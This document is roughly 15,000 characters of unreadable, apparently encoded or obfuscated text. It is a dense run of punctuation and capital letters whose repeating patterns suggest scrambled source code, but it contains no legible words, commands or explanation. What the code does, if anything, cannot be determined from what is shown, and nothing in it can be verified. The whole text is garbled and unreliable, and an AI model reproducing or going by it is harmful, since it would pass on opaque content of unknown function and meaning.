A[IV%FIoUVBD\JJ@K[L@CXUWJCN@SSMMGCVDKC_KACMMGCVDKC_KACUHKNLMA[IVL@A\[NA[UVBD\JJ@K[FXpY^U_NV^MUHT%L@A[FAZJ%%R%%%FI\_G]M_M\Z_L@CXUWJCN@YKFW@JVE@YJW^T%FVC]\Z]^LYVJ^AL@CXUWJCN@%JLpD]KU@KFHD[]ZJ%%%R%%%R%R%R%%IBZJ\YL^[Chc`mnc|tFH]MK@AMIL\r%FIUVBD\JJ@K[IBZJ\YL^[C		JB_[VIBZJ\YL^[CT%  }JL[@]NZ[@]JINL[@]\F[JBJ[N%%FI]VU[FWALMG]_pIBZJ\YL^[CT%%%%JLpD]KU@KFHD[]ZJ%R%R%RLN[LG{G]@XNMCJC[A_M[pT%  oKJ]JHF\[J]JIIJL[[V_J%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%%%IZAL[F@A_BYV[F]MWDVNCZ%T%  _]@_NHN[JL@A\[HJAJ]NC]JLZ]\FYJL@CCJL[@]%%%%[]VT%FGMBXCNX_HBZUFA[HJ[p@_[F@AUVBD\JJ@K[%FIUVBD\JJ@K[FGMBXCNX_HBZUT%Z_KN[Jp@_[F@AFH]MK@AMIL\FXpY^U_NV^MUH%[Y^Z[YZGLZN]]NVN]]NVACJM^CDYHFKFZN]]NVUVBD\JJ@K[%VAN]EA_YMMGCVDKC_KACMMGCVDKC_KACMMGCVDKC_KAC%%%%FIVAN]EA_Y		VAN]EA_YACJM^CDYHFKFZ[Y^Z[YZGLZtrN]]NVVAN]EA_YN]]NVFH]MK@AMIL\FH]MK@AMIL\%I@]JNLG[Y^Z[YZGLZN\Z@^_B^VDVT%  nlZ\GB}j|{L@A[]@CCJ]%%I@]JNLGZ@^_B^VDVtrN\XHUWXAApGT%]M]\JUYX\CGFH]MK@AMIL\FH]MK@AMIL\oMMGCVDKC_KACZ@^_B^VDVtr XHUWXAApGINC\J%FIFH]MK@AMIL\]M]\JUYX\CGL@A[FAZJ%%%%%I@]JNLG]M]\JUYX\CGN\WG_NWEDT%FIoUVBD\JJ@K[WG_NWEDL@A[FAZJ%\HVEL^\@oUVBD\JJ@K[WG_NWED%%%%FI\HVEL^\@INC\J		MMGCVDKC_KAC\HVEL^\@FVC]\Z]^LYVJ^AWG_NWED%R%%R%R%FVU]HA\KEBHJ[p@_[F@AUVBD\JJ@K[N]]NV%FIMMGCVDKC_KACFVU]HA\KEBFVU]HA\KEBN]]NV%EXJA[BIFH]MK@AMIL\]\MJUBYFXpY^U_NV^MUHB@][W_F]B\G^^ZNAL]BBFZ^LB@][W_F]B\B@][W_F]B\B@][W_F]B\%%%%p_KKJIFAJKMMGCVDKC_KACxpl`a{ja{pkf}nm|n{gMMGCVDKC_KACFH]MK@AMIL\%I@]JNLGFH]MK@AMIL\UVBD\JJ@K[N]]NVoFH]MK@AMIL\p_KFH]MK@AMIL\N]]NVN\^I^__LJGXAT%FIMMGCVDKC_KACFH]MK@AMIL\^I^__LJGXAEXJA[BIL@A[FAZJ%MW[MUUVBD\JJ@K[MMGCVDKC_KAC^I^__LJGXA MMGCVDKC_KAC^I^__LJGXAFM[LSWW\I\F]FM[Lq%FIFH]MK@AMIL\MW[MUFVU]HA\KEB[]ZJL@A[FAZJ%FIoFH]MK@AMIL\^I^__LJGXAL@A[FAZJ%[L_[[Ip@ZM[[HGoFH]MK@AMIL\^I^__LJGXA%FI[L_[[Ip@ZM[[HGSS[L_[[Ip@ZM[[HGL@A[FAZJ%%NDXEEHCH__HBoFXpY^U_NV^MUH^I^__LJGXA%FIMMGCVDKC_KACNDXEEHCH__HBSSFH]MK@AMIL\NDXEEHCH__HBUVBD\JJ@K[INC\JL@A[FAZJ%[_IBL]^FXpY^U_NV^MUHFXpY^U_NV^MUHNDXEEHCH__HB%FIMMGCVDKC_KAC[_IBL]^SS[_IBL]^NDXEEHCH__HBSSYUKA]KF^LpMLUMZ[_IBL]^L@A[FAZJ%\M^IMUZLAAY\WEFW_^I^__LJGXA[_IBL]^%FIUVBD\JJ@K[FXpY^U_NV^MUHo@_LNLGJpFAYNCFKN[J^I^__LJGXA[]ZJ%%%%R%ZA\J[FVU]HA\KEBEXJA[BIp_K^I^__LJGXAMW[MU[L_[[Ip@ZM[[HGNDXEEHCH__HB[_IBL]^%\KAWDD]DU]]^LHp\%R%%EW]W^XCJhc`mnc|tFXpY^U_NV^MUHr%%IBZJ\YL^[Chc`mnc|tMMGCVDKC_KACr%%MHKZFI\XCEN[MHFH]MK@AMIL\EW]W^XCJ		JB_[VEW]W^XCJSSFXpY^U_NV^MUHIBZJ\YL^[C		JB_[VIBZJ\YL^[C%FIMHKZFI\XCEN[MHT%]J[Z]A%R%%%BIEH[MpFELYCMGFA[HJ[p@_[F@AFXpY^U_NV^MUH%FIFXpY^U_NV^MUHBIEH[MpFELYCMGWJWT%  x{NHlC@ZKCFADZAFIFLN[F@A%%]J[Z]A%R%%%_]EVELEZYUY]UNEIp%Z_KN[Jp@_[F@AMMGCVDKC_KACUVBD\JJ@K[%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%  |}ANBJ\_NLJ\LN_NMFCF[VHN[J%%R%%%%R%%IZAL[F@AHA[\HDp[D]ZXX\AI%%T%%%[]VT%%%%%%_CGXELCHAVWJUWWVAWYF]BX%%%FI_CGXELCHAVWSSFH]MK@AMIL\_CGXELCHAVW]J[Z]A%FIYUKA]KF^LpMLUMZ_CGXELCHAVWTEBB^\ZUY]XADXY[EBB^\ZUEBB^\ZUEBB^\ZU%%@DWMpK]LDZ\KNVCZUVBD\JJ@K[MMGCVDKC_KAC%]J[Z]A%R%%%FIFXpY^U_NV^MUHFH]MK@AMIL\		HJ[p[]NA\FJA[UVBD\JJ@K[]J[Z]A%%%%UJHDCYXMFVZpLN@AJ@YYVD\@G[A%%LCJN]\[N[LNLGJ[]ZJ%%%FIoFH]MK@AMIL\UJHDCYXMFV		oFXpY^U_NV^MUHUJHDCYXMFVT%]J[Z]A%R%%%%FIoFH]MK@AMIL\UJHDCYXMFVT%AYDIB_IIJN@KIoZBN\D%%pAWDW\CVHEINNKUJHDCYXMFV[]ZJ%oZBN\DAYDIB_IIJN@KI%^^[J]pC_EXZI\U\YFLJUJHDCYXMFV%LCJN]\[N[LNLGJ[]ZJ%RJC\JFIoUVBD\JJ@K[UJHDCYXMFVSSoMMGCVDKC_KACUJHDCYXMFVT%^^[J]pC_EXZI\U\YFLJUJHDCYXMFV%LCJN]\[N[LNLGJ[]ZJ%R%%FIoFH]MK@AMIL\UJHDCYXMFV		oFH]MK@AMIL\UJHDCYXMFVSSoUVBD\JJ@K[UJHDCYXMFV		oMMGCVDKC_KACUJHDCYXMFVT%AYDIB_IIJN@KIoZBN\D%pAWDW\CVHEINNKUJHDCYXMFV[]ZJ%oZBN\DAYDIB_IIJN@KI%%^^[J]pC_EXZI\U\YFLJUJHDCYXMFV%LCJN]\[N[LNLGJ[]ZJ%R%%LCJN]\[N[LNLGJ[]ZJ%FIoFXpY^U_NV^MUHUJHDCYXMFVSSoMMGCVDKC_KACUJHDCYXMFVSSoFH]MK@AMIL\UJHDCYXMFVT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[UVBD\JJ@K[%FIMMGCVDKC_KACFXpY^U_NV^MUHo\J[p[]NA\FJA[FXpY^U_NV^MUH%]J[Z]A%R%%%%%D_KW@LEFN^X[UJHDCYXMFV FD\GHZWZVWFC^LV%%%%FIUBJKIEMY[LUBHXD_KW@LEFN^X[T%]J[Z]A%R%FIoMMGCVDKC_KACD_KW@LEFN^X[		oMMGCVDKC_KACD_KW@LEFN^X[		UVBD\JJ@K[EXpF\FZFGEDEJ\[]FAHoMMGCVDKC_KACD_KW@LEFN^X[FH]MK@AMIL\_CGXELCHAVWT%CNIDVG[IGpND_KW@LEFN^X[%MFX_]HGEZIM[XA%%%%HLGMCH\VBNYUBYGH%]J[Z]A%R%FIoFXpY^U_NV^MUHD_KW@LEFN^X[		oUVBD\JJ@K[D_KW@LEFN^X[WMWKTWWVBI][CVGN__pWIMBWWVBI][CVWWVBI][CVWWVBI][CV%EDYCVE\[]FAHoUVBD\JJ@K[D_KW@LEFN^X[INC\JAZCC%FIUVBD\JJ@K[EDYCVE		FH]MK@AMIL\MMGCVDKC_KACEDYCVEpKB		YJ]\F@ApL@B_N]JpKBtrXHMDNU[UXH@NANXI[]J[Z]A%%ZA\J[EDYCVEpKB%R%VGYEZpA\M^IMUZLAAY\WEFW_D_KW@LEFN^X[[IB^@@IDZVNJD@AX_CGXELCHAVW%%%%FIVGYEZpASSoFXpY^U_NV^MUHD_KW@LEFN^X[SSoFXpY^U_NV^MUHD_KW@LEFN^X[SSFXpY^U_NV^MUHEXpF\FZFGEDEJ\[]FAHoFXpY^U_NV^MUHD_KW@LEFN^X[MMGCVDKC_KAC_CGXELCHAVWT%FIVGYEZpA		oUVBD\JJ@K[D_KW@LEFN^X[T%EDYCVE\[]FAHoUVBD\JJ@K[D_KW@LEFN^X[INC\JAZCC%LZ^DEDpMFXpY^U_NV^MUHEDYCVE		UVBD\JJ@K[FXpY^U_NV^MUHEDYCVEpKB		YJ]\F@ApL@B_N]JpKBtrXHMDNU[UXH@NANXI[%ZA\J[EDYCVEpKB%%FILZ^DEDpMT%^^[J]pC_EXZI\U\YFLJD_KW@LEFN^X[%FVC]\Z]^LYVJ^AD_KW@LEFN^X[%R%R%FIFXpY^U_NV^MUHFXpY^U_NV^MUHo\J[p[]NA\FJA[FH]MK@AMIL\%]J[Z]A%R%%JECDKL[DCD_KW@LEFN^X[I[IMDGS[pUAI[IMDGq%^^[J]pC_EXZI\U\YFLJD_KW@LEFN^X[%CNIDVG[IGpND_KW@LEFN^X[%MFX_]HGEZIM[XA%HLGMCH\VBNYUBYGH%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%R%R%IZAL[F@AW[NFEBVXLXUK@\%%T%[]VT%_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVW		M]H]LVBMG^[JU_CGXELCHAVWT%AYDIB_IIJN@KIGMFZYEXHXZ]UADppWMMGCVDKC_KAC%NDFJXYBHY]@D[^@IYXUFXpY^U_NV^MUHAYDIB_IIJN@KIAYDIB_IIJN@KI%p]_@pGILJp]@D[^@IYXU_CGXELCHAVW%FIMMGCVDKC_KACAYDIB_IIJN@KISSMMGCVDKC_KACAYDIB_IIJN@KIWWMSSM]H]LVBMG^[JUAYDIB_IIJN@KISSNDFJXYBHYSSp]_@pGILJp		YJ]\F@ApL@B_N]Jp]_@pGILJpNDFJXYBHYT%EUpCCUU[VUN]KXADBYMMGCVDKC_KAC_CGXELCHAVWFXpY^U_NV^MUH%FIFXpY^U_NV^MUHMMGCVDKC_KACT%oZ_KN[Jp@_[F@AUVBD\JJ@K[FH]MK@AMIL\%oZ_KN[Jp@_[F@AMMGCVDKC_KACMMGCVDKC_KAC%oZ_KN[Jp@_[F@AMMGCVDKC_KACFH]MK@AMIL\%R%FIMMGCVDKC_KACUVBD\JJ@K[oKJCJ[Jp[]NA\FJA[N\\]pHFUFD\^%R%%%R%%%%%FIMMGCVDKC_KACFXpY^U_NV^MUH		FXpY^U_NV^MUHFH]MK@AMIL\T%ZKGHXJ^@CHJ[p@_[F@AMMGCVDKC_KAC%FIZKGHXJ^@CINC\J		ZKGHXJ^@CXHMDNU[UXH@NANXI[T%oZ_KN[Jp@_[F@AUVBD\JJ@K[XHMDNU[UXH@NANXI[FXpY^U_NV^MUH%R%R%  FA\[NA[FN[J_]@EJL[FYJ_]@@I[J]B%%FIUVBD\JJ@K[MMGCVDKC_KACSSNKKp@_[F@AMMGCVDKC_KACXHMDNU[UXH@NANXI[MMGCVDKC_KACT%]J[Z]A%%R%%WW[VBJHYLBBCM@Y@%FIMMGCVDKC_KACMMGCVDKC_KACT%oZ_KN[Jp@_[F@AMMGCVDKC_KACUVBD\JJ@K[%oZ_KN[Jp@_[F@AFH]MK@AMIL\UVBD\JJ@K[%oZ_KN[Jp@_[F@AFH]MK@AMIL\UVBD\JJ@K[%R%FIFH]MK@AMIL\FXpY^U_NV^MUHoKJCJ[Jp[]NA\FJA[N\\]pHFUFD\^%%FI_CGXELCHAVW		M]H]LVBMG^[JU_CGXELCHAVWT%EUpCCUU[VUN]KXADBYFH]MK@AMIL\_CGXELCHAVWMMGCVDKC_KAC%R%  oMJALGBN]D_]@YFKJ]%%XKEDBJVJCFIHAZCC%%^^[J]pC_EXZI\U\YFLJ]\MJUBYWLNWN%  oJANMCJ]J\ZBJ\J\\F@A%%%%%%HVDC\YKUZYDMFH]MK@AMIL\FXpY^U_NV^MUH%%%HVDC\YKUZYDMFH]MK@AMIL\FH]MK@AMIL\%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%FIMMGCVDKC_KACFXpY^U_NV^MUHoKJCJ[Jp@_[F@AFXpY^U_NV^MUH%RLN[LGjWLJ_[F@AC[A_M[pT%FIFH]MK@AMIL\FXpY^U_NV^MUHoKJCJ[Jp@_[F@AUVBD\JJ@K[%R%R%IZAL[F@A^p_E\YFBX^^H@ZJ%T%[]VTMLUNNWJVFKC^CHY[G^^A_ZMLUNNWJVFK%FIFH]MK@AMIL\MMGCVDKC_KACT%  xjA[F[V]@YFKJ]\]L\J[KJ\L]F_[@]%%oFXpY^U_NV^MUHG@BJpZ]C N]]NVFXpY^U_NV^MUHFXpY^U_NV^MUHINC\JMMGCVDKC_KACINC\J%%%%R%  gJAZBL@AIFHZ]J]JHF\[]V%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%%IZAL[F@AWIZ]UEB%%%T%\[N[FLNNGY^VJINC\J%FINNGY^VJ]J[Z]A%NNGY^VJ[]ZJ%[]VT%FIUVBD\JJ@K[FXpY^U_NV^MUHSSF\pNKBFAT%]J[Z]A%R%FIUVBD\JJ@K[FH]MK@AMIL\SSLZ]]JA[pZ\J]pLNAMMGCVDKC_KACT%]J[Z]A%R%ZUH]NCF@WEVDWF\\J[p}j~zj|{tFXpY^U_NV^MUHrp}j~zj|{tFH]MK@AMIL\r%ZUH]NCF@WEVDWFH]MK@AMIL\ZUH]NCF@WEVDWUVBD\JJ@K[ZUH]NCF@WEVDW%FIZUH]NCF@WEVDWMMGCVDKC_KAC		ZUH]NCF@WEVDWFXpY^U_NV^MUHT%]J[Z]A%R%%Xp]pZZIGN]]NV%%FIZUH]NCF@WEVDWFH]MK@AMIL\T%\N]@I[@Z[AF\\J[p}j~zj|{tUVBD\JJ@K[rp}j~zj|{tFH]MK@AMIL\r%\N]@I[@Z[AFH]MK@AMIL\\N]@I[@Z[AFH]MK@AMIL\\N]@I[@Z[A%FI\N]@I[@Z[A		\N]@I[@Z[A^XG]UMIUN]T%Xp]pZZIGtr\N]@I[@Z[A%R%RJC\JT%  \[]JNBFAH\[NLDI]NBJ%%%VpMpNLXY@L^F\\J[p}j~zj|{tFXpY^U_NV^MUHrp}j~zj|{tFXpY^U_NV^MUHrN]]NV%VpMpNLXY@L^UVBD\JJ@K[VpMpNLXY@L^VpMpNLXY@L^N]]NV%I@]JNLGVpMpNLXY@L^N\\N]@I[@Z[AT%  C@LD\J]FNCFUJ]I@]BM\[]FAH\[]FL[%%%%%\N]@I[@Z[AUVBD\JJ@K[\N]@I[@Z[AFXpY^U_NV^MUH\N]@I[@Z[A%%%%FI\N]@I[@Z[A		\N]@I[@Z[A^XG]UMIUN]T%Xp]pZZIGtr\N]@I[@Z[A%R%R%R%FIJB_[VXp]pZZIGT%]J[Z]ApDULpBZSKH]MNVVLU\pDULpBZq%R% JW_JL[JK\CFKFAHXFAK@X %%JLpD]KU@KFHDINC\J%I@]JNLGXp]pZZIGN\\N]@I[@Z[ATF]CFNUBBIH^WIWLMJHBWCGF]CFNUBBIH^
%FI[GEWM_\VK\N]@I[@Z[AT%DKJZHB^K][KVAU\N]@I[@Z[A%JLpD]KU@KFHD[]ZJ%R%R%FIJLpD]KU@KFHDT%%%%FIUVBD\JJ@K[UVBD\JJ@K[		FH]MK@AMIL\FH]MK@AMIL\T%  g|[NACJYJCI]JJYNCFKN[@]%%%%X_p\NIJp]JKF]JL[NKBFApZ]CFH]MK@AMIL\%R%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%  |}ANBJ\_NLJ\NYFIINCCMNLD%%R%R%IZAL[F@ANAX[@^JAMMU\HHFp\JX[L\BN[C^DH^K_V%T%%%%FIN[C^DH^K_VMMGCVDKC_KACT%_CZHFA\	hc`mnc|tFH]MK@AMIL\r%FIF\\J[_CZHFA\tMMGCVDKC_KACrSSFH]MK@AMIL\_CZHFA\tFH]MK@AMIL\rT%%%%]J[Z]AHFp\JX[L\B%%R%UEp_J^pKJIFAJKFH]MK@AMIL\xpl`a{ja{pkf}KJIFAJKMMGCVDKC_KACnm|n{gFH]MK@AMIL\%FIUEp_J^pT%]J[Z]AHFp\JX[L\B%R%V_FZMC_EIpEN]]NVFH]MK@AMIL\UVBD\JJ@K[FXpY^U_NV^MUHMMGCVDKC_KAC%I@]JNLGV_FZMC_EIpEN\YBVVBKNYXHUWXAApGT%%%%FIF\\J[_CZHFA\tMMGCVDKC_KACrtYBVVBKNYrT%L@A[FAZJ%R%  oZAB@ZA[[]FJ%%%%%L^UFAEDYJEoFH]MK@AMIL\UEp_J^p YBVVBKNY%FIFXpY^U_NV^MUHL^UFAEDYJESSUVBD\JJ@K[L^UFAEDYJEUVBD\JJ@K[XHUWXAApGUVBD\JJ@K[INC\JT%L@A[FAZJ%R%%%E[EMEMFAIK^ZpFXpY^U_NV^MUHMMGCVDKC_KACXHUWXAApGFH]MK@AMIL\XHUWXAApGUVBD\JJ@K[L^UFAEDYJE%FIFH]MK@AMIL\E[EMEMFAIK^ZpT%L@A[FAZJ%R%E[EMEMFAIK^ZpFXpY^U_NV^MUHE[EMEMFAIK^Zp%%%FIE[EMEMFAIK^ZpSSE[EMEMFAIK^ZpMMGCVDKC_KACSSE[EMEMFAIK^ZpUVBD\JJ@K[T%  xZ\JmC@LD]@_\[]NA\FJA[{{c%%ZA\J[_CZHFA\tFXpY^U_NV^MUHrtYBVVBKNYr%R%R%]J[Z]AHFp\JX[L\B%R%%%%FIN[C^DH^K_VFH]MK@AMIL\T%]J[Z]AHFp\JX[L\B%R%_CZHFA\	hc`mnc|tUVBD\JJ@K[r%%WFKEDKG\[ZYM_FH]MK@AMIL\]\MJUBY%FIF\\J[_CZHFA\tFH]MK@AMIL\rtWFKEDKG\[ZYM_rT%ZA\J[_CZHFA\tMMGCVDKC_KACrtWFKEDKG\[ZYM_r%R%]J[Z]AHFp\JX[L\B%R%FIUVBD\JJ@K[MMGCVDKC_KACT%IZAL[F@AMpILpBJI_CJHL@B%%T%FINNVZY]pUNMAUJBT%]J[Z]A%%R%KJ^B@NIBBM_UVBD\JJ@K[]\MJUBY%KY^^N_EXEYUVMMGCVDKC_KAC]\MJUBYUVBD\JJ@K[%DXGV^@pG^KY^^N_EXEYUV KJ^B@NIBBM_%JLG@FH]MK@AMIL\J\LpN[[]KJ^B@NIBBM_FH]MK@AMIL\J\LpN[[]DXGV^@pG^FH]MK@AMIL\%JLG@FH]MK@AMIL\J\LpE\KJ^B@NIBBM_FH]MK@AMIL\J\LpE\DXGV^@pG^MMGCVDKC_KAC%R%R%FIFXpY^U_NV^MUHFXpY^U_NV^MUHT%IZAL[F@ANF\LXX@L^X@WDLpKZZMH@DXME%T% C@HN]F[GBFLKJL@]N[@] %%FIUVBD\JJ@K[KZZMH@DXMET%]J[Z]AKZZMH@DXMEHXJZNJDAH\YEAUV^HXJZNJDAH
%R%KJ^B@NIBBM_^XG]UMIUN]%FIF\\J[KZZMH@DXME]J\_@A\JtKJ^B@NIBBM_rT%ZA\J[KZZMH@DXME]J\_@A\JtKJ^B@NIBBM_r%%%R% J\\JA[FNCNCJ][ %%]J[Z]AKZZMH@DXME%R%R%FIUVBD\JJ@K[UVBD\JJ@K[T%%IZAL[F@AIN[\][K_D@J[]Y^G_CZHFA\%T%YIHUKI^XG]UMIUN]%FIF\\J[_CZHFA\tYIHUKIrT%ZA\J[_CZHFA\tYIHUKIr%%%R%KY^^N_EXEYUVUVBD\JJ@K[]\MJUBYFH]MK@AMIL\%DXGV^@pG^KY^^N_EXEYUV FXpY^U_NV^MUH]\MJUBYD\[ZN\\LZCC@MEUpUWD\[ZN\\LZD\[ZN\\LZD\[ZN\\LZ%FIF\\J[_CZHFA\tDXGV^@pG^rT%  x~ZJ]Vc@@_KJA\J^Z@[FJA[%%ZA\J[_CZHFA\tDXGV^@pG^r%R%]J[Z]A_CZHFA\%R%R%IZAL[F@AXLFBNH^EH^FHHGFA]CpVJU%T%FIMMGCVDKC_KACGFA]CpVJUT%]J[Z]AGFA]CpVJU%R%JAWMKVW%FIFH]MK@AMIL\MMGCVDKC_KAC		FH]MK@AMIL\]\MJUBYT%EVF@@@X[WKCKHJ[p_CZHFApKN[N]\MJUBYINC\JINC\J%JAWMKVWF\\J[EVF@@@X[WKCKtFH]MK@AMIL\rEVF@@@X[WKCKtFH]MK@AMIL\r%%%%R%^FF^CBNZJN]]NVMMGCVDKC_KACUVBD\JJ@K[%I@]JNLG^FF^CBNZJN\]@DE]ZIVU^T%FIF\\J[GFA]CpVJUt]@DE]ZIVU^rtMMGCVDKC_KACrSSFH]MK@AMIL\GFA]CpVJUt]@DE]ZIVU^rtFXpY^U_NV^MUHrT%L@A[FAZJ%%%R%I@]JNLGGFA]CpVJUt]@DE]ZIVU^rtFXpY^U_NV^MUHrN\DJV@IBZWGUDIT%%%%FIFH]MK@AMIL\DJV^XG]UMIUN]INC\JSSDJV^XG]UMIUN]T%ZA\J[GFA]CpVJUt]@DE]ZIVU^rtFXpY^U_NV^MUHrtDJVr%L@A[FAZJ%R%%FIJAWMKVW		DJVJAWMKVWT%%ZA\J[GFA]CpVJUt]@DE]ZIVU^rtFH]MK@AMIL\rtDJVr%L@A[FAZJ%R%R%%R%  xaNYFHN[F@AmC@LDNA[FB@A@[@AJ]NKFW[]JJ%%I@]JNLGN]]NVMMGCVDKC_KACUVBD\JJ@K[N\VF@]@\@MK]]ZET%Z\Y]NXp]YH\JHF\\J[GFA]CpVJUtVF@]@\@MK]]ZErtFXpY^U_NV^MUHr		FXpY^U_NV^MUHGFA]CpVJUtVF@]@\@MK]]ZErtUVBD\JJ@K[rGFA]CpVJUtVF@]@\@MK]]ZErtMMGCVDKC_KACrN]]NV%%FIZ\Y]NXp]YH\JHL@A[FAZJ%XFIYIHV_@pKJIFAJKUVBD\JJ@K[xbzpczhfapkf}KJIFAJKUVBD\JJ@K[xpl`a{ja{pkf}MMGCVDKC_KAC%%%%pCp_pKVBCLEN]]NVVHpLXEDWWK[E@[ZJH_HU_]VHpLXED
%FIJAWMKVWpCp_pKVBCLEtrJAWMKVW%pCp_pKVBCLEtrFXpY^U_NV^MUH]\MJUBY%%FIXFIYIHV_@p		oUVBD\JJ@K[XFIYIHV_@p		UVBD\JJ@K[FH]MK@AMIL\TUYIW_B\DH[SBEN[KBM@BUYIW_B\DH[q%%I@]JNLGN]]NVoMMGCVDKC_KACXFIYIHV_@pFH]MK@AMIL\N\]AG\J^VL\I\T%YLW[\U@oMMGCVDKC_KAC]AG\J^VL\I\INC\JAZCC%FIFH]MK@AMIL\YLW[\U@SSMMGCVDKC_KACYLW[\U@UVBD\JJ@K[INC\JL@A[FAZJ%%%FIUVBD\JJ@K[MMGCVDKC_KACYLW[\U@ZVL]GY[VT%Hp@@A[NYUIMFH]MK@AMIL\ZVL]GY[Vtr%%FIHp@@A[NYUIMpCp_pKVBCLEtrHp@@A[NYUIM%R%  IFAF[JMZCDGJNK%%%%%pCp_pKVBCLEtrUVBD\JJ@K[]AG\J^VL\I\%R%R%%%%I@]JNLGZ\Y]NXp]YH\JHN\DJV@IBZWGUDIT%I@]JNLGpCp_pKVBCLEN\A_FDVK]LDGp[^T%FIDJVA_FDVK]LDGp[^SSDJV\NAF[FUJp[JW[pIFJCKA_FDVK]LDGp[^T%ZA\J[GFA]CpVJUtVF@]@\@MK]]ZErtFXpY^U_NV^MUHrtDJVr%M]JNDIZLKL^BWJWXM^EpIZLKL^B
%R%R%%%R%R%%%CXV@LECEF\\J[GFA]CpVJUtFXpY^U_NV^MUHrtMMGCVDKC_KACr		MMGCVDKC_KACGFA]CpVJUtUVBD\JJ@K[rtUVBD\JJ@K[rGFA]CpVJUtMMGCVDKC_KACrtUVBD\JJ@K[rN]]NV%FICXV@LECET%UEp_J^pKJIFAJKFXpY^U_NV^MUHxpl`a{ja{pkf}KJIFAJKUVBD\JJ@K[nm|n{gFXpY^U_NV^MUH%V_FZMC_EIpEN]]NVMMGCVDKC_KACMMGCVDKC_KACFXpY^U_NV^MUHFXpY^U_NV^MUH%I@]JNLGCXV@LECEN\DJV@IBZWGUDIT%FIF\\J[V_FZMC_EIpEtDJVrSSUEp_J^pL@A[FAZJ%%L^UFAEDYJEoFXpY^U_NV^MUHUEp_J^p DJVINC\JAZCC%FIFXpY^U_NV^MUHL^UFAEDYJE		FH]MK@AMIL\L^UFAEDYJEFXpY^U_NV^MUHV_FZMC_EIpEtDJVrMMGCVDKC_KACINC\JSSMMGCVDKC_KACL^UFAEDYJEFH]MK@AMIL\INC\JT%ZA\J[GFA]CpVJUtFH]MK@AMIL\rtFXpY^U_NV^MUHrtDJVr%%%R%  KJ_]@YF\F@AIJN\FMCJBJBJA[@%%%%%R%R%  xNHJcF\[NLDA@XCJKHJJIIJL[[V_J%%]J[Z]AGFA]CpVJU%R%%IZAL[F@AIVL\_Xp\W[\KEW[BZp^_X\^MJE[%T%FIMMGCVDKC_KAC^_X\^MJE[T%  _N[LG[@[NCLF_GJ]\ZF[J%%]J[Z]A^_X\^MJE[%R%IY_MC]\_I@FH]MK@AMIL\]\MJUBY%]YIGCMD@FUGMMGCVDKC_KACIY_MC]\_I@n{gfai`pifcjanbj%FH_GIDNJN]]NV%N]]NVUVBD\JJ@K[FXpY^U_NV^MUHIY_MC]\_I@UVBD\JJ@K[FXpY^U_NV^MUH[]ZJ%%%%N]]NVFH]MK@AMIL\MMGCVDKC_KACFXpY^U_NV^MUH]YIGCMD@FUGMMGCVDKC_KACUVBD\JJ@K[[]ZJ%%FIF\\J[^_X\^MJE[tFH]MK@AMIL\r		MMGCVDKC_KAC^_X\^MJE[tMMGCVDKC_KACrT%I@]JNLG^_X\^MJE[tUVBD\JJ@K[rN\[DY^GJF\HJLHU^WW_LT%%FIFXpY^U_NV^MUH\HJLHU^WW_LSSFXpY^U_NV^MUH[DY^GJFT%L@A[FAZJ%R%%%%FIF\\J[^_X\^MJE[tMMGCVDKC_KACrt[DY^GJFrtUVBD\JJ@K[rSSMMGCVDKC_KAC^_X\^MJE[tFH]MK@AMIL\rt[DY^GJFrtUVBD\JJ@K[rT%%%^_X\^MJE[tMMGCVDKC_KACrt[DY^GJFrtMMGCVDKC_KACrN]]NV%R%I@]JNLGFH_GIDNJN\[BVEEGKEXKT%  I@CKL@A\[HJAJ]NC]JLZ]\FYJGV_J]C@HC@H%%%%%^_X\^MJE[tUVBD\JJ@K[rt[DY^GJFrtUVBD\JJ@K[rtr[BVEEGKEXK%R%R%R%]J[Z]A^_X\^MJE[%R%%IZAL[F@A^\JKVMKLA]Z%TDCWBVgpfa{pbnw gpfa{pbnwIUp^XNENCWDCWBV%[]VT%FIKJIFAJKFH]MK@AMIL\SSL@A\[NA[UVBD\JJ@K[T%]J[Z]AFAIU_^]pC_LWgpfa{pbnw gpfa{pbnwU]WpB^^@V_HFAIU_^]pC_LW%R%FIFXpY^U_NV^MUHFXpY^U_NV^MUHINC\JT% _]FBF[FYJ]JLZ]\FYJIFC[J]LGNFA %%]J[Z]A%R%NK[VFBMFH]MK@AMIL\]\MJUBY%CINF@K[^_MLKJIFAJKMMGCVDKC_KACxpczhfapkf}%MFpKW_IXWN]]NV%CINF@K[^_MLFH]MK@AMIL\%CINF@K[^_MLUVBD\JJ@K[%%%%CINF@K[^_MLFXpY^U_NV^MUH%%%GAB[]XYZHHGDY%I@]JNLGMFpKW_IXWN\KJ^B@NIBBM_T%FIKJ^B@NIBBM_		oUVBD\JJ@K[KJ^B@NIBBM_		oUVBD\JJ@K[KJ^B@NIBBM_T%%%%GAB[]XYZHHGDYKJ^B@NIBBM_%M]JND%R%R%FIGAB[]XYZHHGDYT%]J[Z]A%R%DABFGJIBBpFXpY^U_NV^MUHGAB[]XYZHHGDY%\_CpNZ[@C@NKp]JHF\[J]IZAL[F@ALUKK^LW\Z\JDABFGJIBBpT%I@]JNLGN]]NVDABFGJIBBp LUKK^LW\UVBD\JJ@K[DABFGJIBBp LUKK^LW\FXpY^U_NV^MUHN\ULNDDLUVGYMZCT%%%%FIoFH]MK@AMIL\ULNDDLUVGYMZCT%FALCZKJp@ALJULNDDLUVGYMZC%]J[Z]A%R%%%%R%%%%R%[MB[V@ZCL_oFXpY^U_NV^MUHGAB[]XYZHHGDY%FI[MB[V@ZCL_INC\JSSFH]MK@AMIL\[MB[V@ZCL_MMGCVDKC_KACINC\JT%%%%]J[Z]A%R%[MB[V@ZCL_FH]MK@AMIL\MMGCVDKC_KAC